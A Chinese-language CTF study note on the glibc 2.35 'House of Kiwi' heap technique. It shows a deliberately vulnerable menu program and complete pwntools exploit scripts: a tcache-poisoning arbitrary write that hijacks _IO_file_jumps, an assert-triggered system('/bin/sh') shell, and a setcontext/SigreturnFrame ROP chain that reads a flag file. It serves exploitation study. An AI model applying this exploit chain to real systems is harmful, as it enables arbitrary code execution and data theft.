当前位置: 首页 > news >正文

【我的 PWN 学习手札】House of Kiwi

House of Kiwi

之前我们利用IO_FILE一般是通过劫持vtable来实现的, House of Kiwi虽然不是通过劫持vtable来实现,但实质上是劫持vtable指向的全局的_IO_file_jumps_表来实现的。注意:对于某些版本的glibc,_IO_file_jumps_并不可写,也就不能利用这种方法,比较玄学需要实际看一下。较高版本的glibc去除了__malloc_hook__free_hookexit hook;而如果程序调用中利用诸如write__exit等函数直接触发系统调用,不走IO结构体调用流程,就难以使用IO的方法来劫持程序执行流程。之所以赋予House of Kiwi这个利用手法名,实际上是因为找到了一条“主动触发异常退出”来触发vtable上的相关函数来的实现攻击。

一、源码分析

malloc.csysmalloc函数中存在assert断言(当然,很多其他地方也用了assert宏)

这里检查了Top chunk的控制字段,不通过则触发异常

//malloc.c
static void *
sysmalloc (INTERNAL_SIZE_T nb, mstate av)
{
  ...
  assert ((old_top == initial_top (av) && old_size == 0) ||
          ((unsigned long) (old_size) >= MINSIZE &&
           prev_inuse (old_top) &&
           ((unsigned long) old_end & (pagesize - 1)) == 0));

  /* Precondition: not enough current space to satisfy nb request */
  assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));
  ...
}

继续看一下assert宏,可以看到assert__assert_fail函数

# if defined __cplusplus
#  define assert(expr)							\
     (static_cast <bool> (expr)						\
      ? void (0)							\
      : __assert_fail (#expr, __FILE__, __LINE__, __ASSERT_FUNCTION))
# elif !defined __GNUC__ || defined __STRICT_ANSI__
#  define assert(expr)							\
    ((expr)								\
     ? __ASSERT_VOID_CAST (0)						\
     : __assert_fail (#expr, __FILE__, __LINE__, __ASSERT_FUNCTION))
# else
/* The first occurrence of EXPR is not evaluated due to the sizeof,
   but will trigger any pedantic warnings masked by the __extension__
   for the second occurrence.  The ternary operator is required to
   support function pointers and bit fields in this context, and to
   suppress the evaluation of variable length arrays.  */
#  define assert(expr)							\
  ((void) sizeof ((expr) ? 1 : 0), __extension__ ({			\
      if (expr)								\
        ; /* empty */							\
      else								\
        __assert_fail (#expr, __FILE__, __LINE__, __ASSERT_FUNCTION);	\
    }))
# endif

继续跟进,可以看到实际上是调用__malloc_assert,其中fflush(stderr)则走了IO路线来输出(实际上__fxprintf也走了)。

#if IS_IN (libc)
#ifndef NDEBUG
# define __assert_fail(assertion, file, line, function)			\
	 __malloc_assert(assertion, file, line, function)

extern const char *__progname;

static void
__malloc_assert (const char *assertion, const char *file, unsigned int line,
		 const char *function)
{
  (void) __fxprintf (NULL, "%s%s%s:%u: %s%sAssertion `%s' failed.\n",
		     __progname, __progname[0] ? ": " : "",
		     file, line,
		     function ? function : "", function ? ": " : "",
		     assertion);
  fflush (stderr);
  abort ();
}
#endif
#endif

fflush_IO_fflush

# define fflush(s) _IO_fflush (s)

_IO_SYNC可以看到,_IO_fflush继续跳转到vtable指向_IO_file_jumps_表上的sync

int
_IO_fflush (FILE *fp)
{
  if (fp == NULL)
    return _IO_flush_all ();
  else
    {
      int result;
      CHECK_FILE (fp, EOF);
      _IO_acquire_lock (fp);
      result = _IO_SYNC (fp) ? EOF : 0;
      _IO_release_lock (fp);
      return result;
    }
}
libc_hidden_def (_IO_fflush)

因此,我们可以通过劫持全局_IO_file_jumps表,劫持sync指针,然后触发assert断言进入:

assert__assert_fail__malloc_assertfflush_IO_fflush_IO_SYNC调用链,从而劫持程序流。

二、劫持程序流示例

pwn.c+glibc2.35

#include<stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>

char *chunk_list[0x100];

#define puts(str) write(1, str, strlen(str)), write(1, "\n", 1)

void menu() {
    puts("1. add chunk");
    puts("2. delete chunk");
    puts("3. edit chunk");
    puts("4. show chunk");
    puts("5. exit");
    puts("choice:");
}

int get_num() {
    char buf[0x10];
    read(0, buf, sizeof(buf));
    return atoi(buf);
}

void add_chunk() {
    puts("index:");
    int index = get_num();
    puts("size:");
    int size = get_num();
    chunk_list[index] = malloc(size);
}

void delete_chunk() {
    puts("index:");
    int index = get_num();
    free(chunk_list[index]);
}

void edit_chunk() {
    puts("index:");
    int index = get_num();
    puts("length:");
    int length = get_num();
    puts("content:");
    read(0, chunk_list[index], length);
}

void show_chunk() {
    puts("index:");
    int index = get_num();
    puts(chunk_list[index]);
}

int main() {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);

    while (1) {
        menu();
        int choice = get_num();
        switch (choice) {
            case 1:
                add_chunk();
                break;
            case 2:
                delete_chunk();
                break;
            case 3:
                edit_chunk();
                break;
            case 4:
                show_chunk();
                break;
            case 5:
                _exit(0);
            default:
                puts("invalid choice.");
        }
    }
}

大致过程如下:

  1. 泄露heap base
  2. 劫持tcache_pthread_struct
  3. arbitrary_write劫持全局数据区的_IO_file_jumps
  4. 写坏Top chunk然后malloc较大堆块触发assert断言进入调用链

首先glibc-2.35tcache->key,通过UAF泄露heap_base

add(0,0x100)
add(1,0x100)
add(2,0x100)
delete(0)
show(0)
io.recvline()
heap_base=u64(io.recv(5).ljust(8,b'\x00'))<<12
success("heap_base:"+hex(heap_base))

在这里插入图片描述

让我们通过劫持tcache_pthread_struct来泄露libc并进一步获得arbitrary_write的能力,

delete(2)
# pos = (heap_base + 0x5c8)
# target = heap_base + 0x20
edit(2,p64((heap_base >>12) ^ (heap_base + 0x20))+p64(0))
add(2,0x100)
add(10,0x100)
edit(10,b'\x00'*14+p16(0x7))
delete(1)
show(1)
io.recvline()
libc.address=u64(io.recv(6).ljust(8,b'\x00'))-0x1f2ce0
success("libc_base: "+hex(libc.address))

def arbitrary_write(address,content):
    aligns = address & 0xf
    address = address & ~0xf
    edit(10,(b'\x00'*14+p16(0x7)).ljust(0xe8,b'\x00')+p64(address))
    add(11,0x100)
    edit(11,b'\x00'*aligns+content)

然后我们就可以通过任意地址写来修改全局表_IO_file_jumps

'''
0xdb1f1 execve("/bin/sh", r13, r12)
constraints:
  [r13] == NULL || r13 == NULL || r13 is a valid argv
  [r12] == NULL || r12 == NULL || r12 is a valid envp

0xdb1f4 execve("/bin/sh", r13, rdx)
constraints:
  [r13] == NULL || r13 == NULL || r13 is a valid argv
  [rdx] == NULL || rdx == NULL || rdx is a valid envp

0xdb1f7 execve("/bin/sh", rsi, rdx)
constraints:
  [rsi] == NULL || rsi == NULL || rsi is a valid argv
  [rdx] == NULL || rdx == NULL || rdx is a valid envp
'''
one_gadget = [0xdb1f1,0xdb1f4,0xdb1f7][0]+libc.address

arbitrary_write(libc.sym['_IO_file_jumps']+0x60,p64(one_gadget))
edit(2,b'\x00'*0x110)

gdb.attach(io,"b *{}\nc".format(hex(one_gadget)))
add(20,0x300)

在这里插入图片描述

确实被我们劫持到one_gadget,但是由于rsirdx都不为空,所以不能简单利用。不过我们有任意地址写的能力,由于fflush的参数是stderr所以我们可以在_IO_2_1_stderr头部写"/bin/sh\x00",同时flag位不会触发__fxprintf的链子,继续执行fflush

'''
0xdb1f1 execve("/bin/sh", r13, r12)
constraints:
  [r13] == NULL || r13 == NULL || r13 is a valid argv
  [r12] == NULL || r12 == NULL || r12 is a valid envp

0xdb1f4 execve("/bin/sh", r13, rdx)
constraints:
  [r13] == NULL || r13 == NULL || r13 is a valid argv
  [rdx] == NULL || rdx == NULL || rdx is a valid envp

0xdb1f7 execve("/bin/sh", rsi, rdx)
constraints:
  [rsi] == NULL || rsi == NULL || rsi is a valid argv
  [rdx] == NULL || rdx == NULL || rdx is a valid envp
'''
one_gadget = [0xdb1f1,0xdb1f4,0xdb1f7][0]+libc.address

arbitrary_write(libc.sym['_IO_file_jumps']+0x60,p64(libc.sym['system']))
edit(2,b'\x00'*0x110)

# gdb.attach(io,"b *{}\nc".format(hex(one_gadget)))
arbitrary_write(libc.sym['_IO_2_1_stderr_'],b"/bin/sh\x00")
gdb.attach(io,"b __malloc_assert\n")
add(20,0x300)

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

三、配合setcontext-gadget实现ROP

glibc2.35setcontext是通过rdx寄存器来传递数值的

   ...
   0x77d08a450c0d <setcontext+61>     mov    rsp, qword ptr [rdx + 0xa0]
   0x77d08a450c14 <setcontext+68>     mov    rbx, qword ptr [rdx + 0x80]
   0x77d08a450c1b <setcontext+75>     mov    rbp, qword ptr [rdx + 0x78]
   0x77d08a450c1f <setcontext+79>     mov    r12, qword ptr [rdx + 0x48]
   0x77d08a450c23 <setcontext+83>     mov    r13, qword ptr [rdx + 0x50]
   0x77d08a450c27 <setcontext+87>     mov    r14, qword ptr [rdx + 0x58]
   0x77d08a450c2b <setcontext+91>     mov    r15, qword ptr [rdx + 0x60]
   0x77d08a450c2f <setcontext+95>     test   dword ptr fs:[0x48], 2
   0x77d08a450c3b <setcontext+107>    je     setcontext+294              <setcontext+294>
   ...

我们关注到,在进行House of Kiwi时,调用fflush时执行跳转表函数SYNCrdx寄存器指向_IO_helper_jumps

────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────────
   0x7e211da782fb <fflush+107>    mov    rcx, rbp     RCX => 0x7e211dbf4580 (__GI__IO_file_jumps) ◂— 0
   0x7e211da782fe <fflush+110>    sub    rcx, rdx     RCX => 0xc00 (0x7e211dbf4580 - 0x7e211dbf3980)
   0x7e211da78301 <fflush+113>    cmp    rax, rcx     0xd68 - 0xc00     EFLAGS => 0x202 [ cf pf af zf sf IF df of ]
   0x7e211da78304 <fflush+116>    jbe    fflush+200                  <fflush+200>
 
   0x7e211da78306 <fflush+118>    mov    rdi, rbx     RDI => 0x7e211dbf36a0 (_IO_2_1_stderr_) ◂— 0xfbad2887
 ► 0x7e211da78309 <fflush+121>    call   qword ptr [rbp + 0x60]      <__SI_IO_new_file_sync_7>
        rdi: 0x7e211dbf36a0 (_IO_2_1_stderr_) ◂— 0xfbad2887
        rsi: 0x7ffc3c3bf7d0 ◂— 0x6c616d203a6e7770 ('pwn: mal')
        rdx: 0x7e211dbf3980 (_IO_helper_jumps) ◂— 0
        rcx: 0xc00
 
   0x7e211da7830c <fflush+124>    test   eax, eax
   0x7e211da7830e <fflush+126>    setne  al
   0x7e211da78311 <fflush+129>    movzx  eax, al
   0x7e211da78314 <fflush+132>    neg    eax
   0x7e211da78316 <fflush+134>    test   dword ptr [rbx], 0x8000
─────────────────────────────────────────────────────────────────[

这也是一个全局跳转表,具有w权限,可以通过arbitray_write劫持

至于为什么是_IO_helper_jumps,其实指向的是__start___libc_IO_vtables,而_IO_helper_jumps是各个全局的跳转函数表的第一个表,数值也即__start___libc_IO_vtables

pwndbg> p/x __start___libc_IO_vtables
$3 = 0x7e211dbf3980 <_IO_helper_jumps>
pwndbg> info reg rdx
rdx            0x7e211dbf3980      138680698091904
pwndbg> tele 0x7e211dbf3980
00:0000│ rdx 0x7e211dbf3980 (_IO_helper_jumps) ◂— 0
01:0008│-bf8 0x7e211dbf3988 (_IO_helper_jumps+8) ◂— 0
02:0010│-bf0 0x7e211dbf3990 (_IO_helper_jumps+16) —▸ 0x7e211da85a10 (_IO_default_finish) ◂— endbr64 
03:0018│-be8 0x7e211dbf3998 (_IO_helper_jumps+24) —▸ 0x7e211da6c390 (_IO_helper_overflow) ◂— endbr64 
04:0020│-be0 0x7e211dbf39a0 (_IO_helper_jumps+32) —▸ 0x7e211da85360 (_IO_default_underflow) ◂— endbr64 
05:0028│-bd8 0x7e211dbf39a8 (_IO_helper_jumps+40) —▸ 0x7e211da85370 (_IO_default_uflow) ◂— endbr64 
06:0030│-bd0 0x7e211dbf39b0 (_IO_helper_jumps+48) —▸ 0x7e211da86450 (_IO_default_pbackfail) ◂— endbr64 
07:0038│-bc8 0x7e211dbf39b8 (_IO_helper_jumps+56) —▸ 0x7e211da853d0 (_IO_default_xsputn) ◂— endbr64 
pwndbg> 
08:0040│-bc0 0x7e211dbf39c0 (_IO_helper_jumps+64) —▸ 0x7e211da85550 (_IO_default_xsgetn) ◂— endbr64 
09:0048│-bb8 0x7e211dbf39c8 (_IO_helper_jumps+72) —▸ 0x7e211da85a90 (_IO_default_seekoff) ◂— endbr64 
0a:0050│-bb0 0x7e211dbf39d0 (_IO_helper_jumps+80) —▸ 0x7e211da85710 (_IO_default_seekpos) ◂— endbr64 
0b:0058│-ba8 0x7e211dbf39d8 (_IO_helper_jumps+88) —▸ 0x7e211da85610 (_IO_default_setbuf) ◂— endbr64 
0c:0060│-ba0 0x7e211dbf39e0 (_IO_helper_jumps+96) —▸ 0x7e211da85a00 (_IO_default_sync) ◂— endbr64 
0d:0068│-b98 0x7e211dbf39e8 (_IO_helper_jumps+104) —▸ 0x7e211da85780 (_IO_default_doallocate) ◂— endbr64 
0e:0070│-b90 0x7e211dbf39f0 (_IO_helper_jumps+112) —▸ 0x7e211da865c0 (_IO_default_read) ◂— endbr64 
0f:0078│-b88 0x7e211dbf39f8 (_IO_helper_jumps+120) —▸ 0x7e211da865d0 (_IO_default_write) ◂— endbr64 
pwndbg> 
10:0080│-b80 0x7e211dbf3a00 (_IO_helper_jumps+128) —▸ 0x7e211da865a0 (_IO_default_seek) ◂— endbr64 
11:0088│-b78 0x7e211dbf3a08 (_IO_helper_jumps+136) —▸ 0x7e211da85a00 (_IO_default_sync) ◂— endbr64 
12:0090│-b70 0x7e211dbf3a10 (_IO_helper_jumps+144) —▸ 0x7e211da865b0 (_IO_default_stat) ◂— endbr64 
13:0098│-b68 0x7e211dbf3a18 (_IO_helper_jumps+152) ◂— 0
... ↓     4 skipped
pwndbg> 
18:00c0│-b40 0x7e211dbf3a40 (_IO_helper_jumps) ◂— 0
19:00c8│-b38 0x7e211dbf3a48 (_IO_helper_jumps+8) ◂— 0
1a:00d0│-b30 0x7e211dbf3a50 (_IO_helper_jumps+16) —▸ 0x7e211da7c460 (_IO_wdefault_finish) ◂— endbr64 
1b:00d8│-b28 0x7e211dbf3a58 (_IO_helper_jumps+24) —▸ 0x7e211da715d0 (_IO_helper_overflow) ◂— endbr64 
1c:00e0│-b20 0x7e211dbf3a60 (_IO_helper_jumps+32) —▸ 0x7e211da85360 (_IO_default_underflow) ◂— endbr64 
1d:00e8│-b18 0x7e211dbf3a68 (_IO_helper_jumps+40) —▸ 0x7e211da85370 (_IO_default_uflow) ◂— endbr64 
1e:00f0│-b10 0x7e211dbf3a70 (_IO_helper_jumps+48) —▸ 0x7e211da7c2a0 (_IO_wdefault_pbackfail) ◂— endbr64 
1f:00f8│-b08 0x7e211dbf3a78 (_IO_helper_jumps+56) —▸ 0x7e211da7c5e0 (_IO_wdefault_xsputn) ◂— endbr64 

值得注意的是,关注上述gdb调试数据,可以看到好像有两个_IO_helper_jumps表。无论是libc.sym['_IO_helper_jumps']还是gdb内通过p/x &_IO_helper_jumps,打印的都是第二张表的地址;不过fflushcall sync时的rdx指向是第一个表,需要格外注意。

因此我们可以:

  1. 利用任意地址写在_IO_helper_jumps上布置sigreturnFrame
  2. 在堆上布置ROP
  3. 写坏Top chunk触发调用链
# ROP 放在2号堆块上
rop_start = heap_base + 0x4c0
buf_start = heap_base + 0x80
# flag 读到0号堆块上
flag_start = heap_base + 0x2a0
rop = b''
# read(3,flag_start,0x20)
rop += p64(libc.search(asm("pop rdi;ret")).__next__())
rop += p64(3)
rop += p64(libc.search(asm("pop rsi;ret")).__next__())
rop += p64(flag_start)
rop += p64(libc.search(asm("pop rdx;ret")).__next__())
rop += p64(0x20)
rop += p64(libc.sym['read'])
# write(1,flag_start,0x20)
rop += p64(libc.search(asm("pop rdi;ret")).__next__())
rop += p64(1)
rop += p64(libc.search(asm("pop rsi;ret")).__next__())
rop += p64(flag_start)
rop += p64(libc.search(asm("pop rdx;ret")).__next__())
rop += p64(0x20)
rop += p64(libc.sym['write'])
rop = rop.ljust(buf_start - rop_start, b'\x00')
rop += b'./flag.txt\x00'
rop = rop.ljust(0x110, b'\x00')

frame = SigreturnFrame()
# open("./flag.txt")
frame.rdi = buf_start
frame.rsi = 0
frame.rdx = 0
frame.rip = libc.sym['open']
frame.rsp = rop_start

arbitrary_write(libc.sym["__start___libc_IO_vtables"],bytes(frame))

然而

在这里插入图片描述

看起来我们修改的_IO_helper_jumpsfflush 之前的__fxprintf被使用。

具体我们看一下用到了哪一项,我们断点到__malloc_assert开始步过,最终定位到表偏移0x38的函数指针是会被调用的

在这里插入图片描述

因此我们的sigreturnFrame数据在该处保留合法指针即可

pwndbg> p __start___libc_IO_vtables 
$1 = 0x77bb9cbf3980 <_IO_helper_jumps> ""
pwndbg> tele 0x77bb9cbf3980
00:0000│  0x77bb9cbf3980 (_IO_helper_jumps) ◂— 0
01:0008│  0x77bb9cbf3988 (_IO_helper_jumps+8) ◂— 0
02:0010│  0x77bb9cbf3990 (_IO_helper_jumps+16) —▸ 0x77bb9ca85a10 (_IO_default_finish) ◂— endbr64 
03:0018│  0x77bb9cbf3998 (_IO_helper_jumps+24) —▸ 0x77bb9ca6c390 (_IO_helper_overflow) ◂— endbr64 
04:0020│  0x77bb9cbf39a0 (_IO_helper_jumps+32) —▸ 0x77bb9ca85360 (_IO_default_underflow) ◂— endbr64 
05:0028│  0x77bb9cbf39a8 (_IO_helper_jumps+40) —▸ 0x77bb9ca85370 (_IO_default_uflow) ◂— endbr64 
06:0030│  0x77bb9cbf39b0 (_IO_helper_jumps+48) —▸ 0x77bb9ca86450 (_IO_default_pbackfail) ◂— endbr64 
07:0038│  0x77bb9cbf39b8 (_IO_helper_jumps+56) —▸ 0x77bb9ca853d0 (_IO_default_xsputn) ◂— endbr64 
pwndbg> libc
libc : 0x77bb9ca00000
pwndbg> p/x 0x77bb9ca853d0-0x77bb9ca00000
$2 = 0x853d0
frame=bytearray(bytes(frame))
frame[0x38:0x40]=p64(libc.address+0x853d0)

然后我们就可以正常到达fflush,并劫持到setcontext

在这里插入图片描述

然后可以看到setcontext退出时进入rop-chain

在这里插入图片描述

结果在ROP过程中发现找到的pop rdx;ret是不可执行数据;遂在所有的gadgetlibc.search部分增添参数executable=True

rop += p64(libc.search(asm("pop rdx;ret"),executable=True).__next__())

然而又找不到这样的gadget。所以用ropperROPgadget找具有同样功能虽然可能略荣誉的gadget

0x0000000000107191 : pop rdx ; pop r12 ; ret

最终可以实现:

在这里插入图片描述

ROP完整exp

from pwn import *
from pwnlib.abi import freebsd_arm

elf = ELF("./pwn")
libc = ELF("./libc.so.6")
context.arch = elf.arch
context.log_level = 'debug'
context.os = elf.os


def add(index, size):
    io.sendafter(b"choice:", b"1")
    io.sendafter(b"index:", str(index).encode())
    io.sendafter(b"size:", str(size).encode())


def delete(index):
    io.sendafter(b"choice:", b"2")
    io.sendafter(b"index:", str(index).encode())


def edit(index, content):
    io.sendafter(b"choice:", b"3")
    io.sendafter(b"index:", str(index).encode())
    io.sendafter(b"length:", str(len(content)).encode())
    io.sendafter(b"content:", content)


def show(index):
    io.sendafter(b"choice:", b"4")
    io.sendafter(b"index:", str(index).encode())


io = process("./pwn")

add(0, 0x100)
add(1, 0x100)
add(2, 0x100)

delete(0)
show(0)
io.recvline()
heap_base = u64(io.recv(5).ljust(8, b'\x00')) << 12
success("heap_base:" + hex(heap_base))

delete(2)
# pos = (heap_base + 0x5c8)
# target = heap_base + 0x20
edit(2, p64((heap_base >> 12) ^ (heap_base + 0x20)) + p64(0))
add(2, 0x100)
add(10, 0x100)
edit(10, b'\x00' * 14 + p16(0x7))
delete(1)
show(1)
io.recvline()
libc.address = u64(io.recv(6).ljust(8, b'\x00')) - 0x1f2ce0
success("libc_base: " + hex(libc.address))


def arbitrary_write(address, content):
    aligns = address & 0xf
    address = address & ~0xf
    edit(10, (b'\x00' * 14 + p16(0x7)).ljust(0xe8, b'\x00') + p64(address))
    add(11, 0x100)
    edit(11, b'\x00' * aligns + content)


gdb.attach(io, 'b fflush\nc')
# gdb.attach(io,'b __malloc_assert\nc')

# ROP 放在2号堆块上
rop_start = heap_base + 0x4c0
buf_start = rop_start + 0x80
# flag 读到0号堆块上
flag_start = heap_base + 0x2a0
rop = b''
# read(3,flag_start,0x20)
rop += p64(libc.search(asm("pop rdi;ret"), executable=True).__next__())
rop += p64(3)
rop += p64(libc.search(asm("pop rsi;ret"), executable=True).__next__())
rop += p64(flag_start)
rop += p64(libc.search(asm("pop rdx;pop r12;ret"), executable=True).__next__())
rop += p64(0x30)
rop += p64(0)
rop += p64(libc.sym['read'])
# write(1,flag_start,0x20)
rop += p64(libc.search(asm("pop rdi;ret"), executable=True).__next__())
rop += p64(1)
rop += p64(libc.search(asm("pop rsi;ret"), executable=True).__next__())
rop += p64(flag_start)
rop += p64(libc.search(asm("pop rdx;pop r12;ret"), executable=True).__next__())
rop += p64(0x30)
rop += p64(0)
rop += p64(libc.sym['write'])
rop = rop.ljust(buf_start - rop_start, b'\x00')
rop += b'./flag.txt\x00'
rop = rop.ljust(0x110, b'\x00')

frame = SigreturnFrame()
# open("./flag.txt")
frame.rdi = buf_start
frame.rsi = 0
frame.rdx = 0
frame.rip = libc.sym['open']
frame.rsp = rop_start

frame = bytearray(bytes(frame))
frame[0x38:0x40] = p64(libc.address + 0x853d0)
arbitrary_write(libc.sym["__start___libc_IO_vtables"], bytes(frame))
arbitrary_write(libc.sym['_IO_file_jumps'] + 0x60, p64(libc.sym['setcontext'] + 61))
edit(2, rop)
add(30, 0x300)
io.interactive()

相关文章:

  • 904. 水果成篮
  • 前端实现rsa加密功能
  • 线程池的介绍
  • Linux-ftrace-双nop机制的实现
  • c# winform程序 vs2022 打包生成安装包
  • # 代码写作风格:优雅编程的艺术
  • 一文掌握 Scrapy 框架的详细使用,包括实战案例
  • 【SQL】掌握SQL查询技巧:数据分组与排序
  • 优艾智合机器人日本子公司成立,加速推进国际化布局
  • Redis大key
  • Zynq移植canopen协议站canfestival+控制电机运动
  • 使用AI后为什么思考会变得困难?
  • 2.4 自动化评测答疑机器人的表现-大模型ACP模拟题-真题
  • k8s拉取harbor镜像部署
  • 3 算法1-4 过河卒
  • CineMaster: 用于电影文本到视频生成的 3D 感知且可控的框架。
  • word中把latex公式快速转换为word公式
  • 第二章 activiti “开发环境搭建训练营”
  • 通信原理速成笔记(信息论及编码)
  • 蓝桥 发现环
  • 网站重新建设的申请书/中国目前最好的搜索引擎
  • 成都专业网站建设优化团队/深圳营销策划公司十强
  • 武汉哪些网站做免费广告/微信营销软件手机版
  • 怎样自己做商场网站/大数据精准获客软件
  • 网站备案网站名称怎么填/seo教程自学网
  • 10个值得推荐的免费设计网站/站长工具介绍